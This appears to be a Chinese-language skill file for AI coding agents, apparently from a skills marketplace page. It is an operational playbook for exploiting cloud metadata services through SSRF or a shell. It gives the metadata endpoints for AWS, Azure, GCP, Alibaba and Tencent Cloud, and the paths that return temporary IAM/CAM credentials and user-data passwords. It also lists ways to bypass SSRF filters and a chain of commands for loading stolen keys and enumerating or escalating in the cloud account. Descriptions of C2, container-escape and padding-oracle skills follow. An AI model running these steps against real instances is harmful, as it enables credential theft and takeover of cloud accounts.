skills/cloud/cloud-metadata/SKILL.md
云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能
npx skillsauth add wgpsec/AboutSecurity cloud-metadataInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
IMDS 是从 SSRF/RCE 到云控制面的桥梁——一个 HTTP 请求就能获取 IAM/CAM 临时凭据。
| 线索 | 云平台 |
|------|--------|
| x-amz-* Header, Server: AmazonS3 | AWS |
| x-ms-* Header, .azurewebsites.net | Azure |
| .googleapis.com, x-goog-* Header | GCP |
| .aliyuncs.com, x-oss-* Header | 阿里云 |
| .myqcloud.com, x-cos-* Header, Server: tencent-cos | 腾讯云 |
# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/
# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true
# GCP
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google
# 阿里云
http://100.100.100.200/latest/meta-data/
# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/
# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type
# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone
# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4
# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime
# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-data
http://169.254.169.254/...(AWS/Azure/GCP)http://metadata.tencentyun.com/...(腾讯云,域名方式)http://100.100.100.200/...(阿里云)http://[::ffff:169.254.169.254]/、DNS rebinding、302 重定向获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
├─ tccli configure(交互式)或设置环境变量
├─ tccli sts GetCallerIdentity(验证身份)
├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
├─ tccli cvm DescribeInstances(列出实例)
└─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)
# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取
# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"
# 验证
tccli sts GetCallerIdentity
获取云凭据后,进行 IAM 提权评估。
/latest/user-data) 经常包含启动脚本中的密码metadata.tencentyun.com 只能在实例内网访问testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能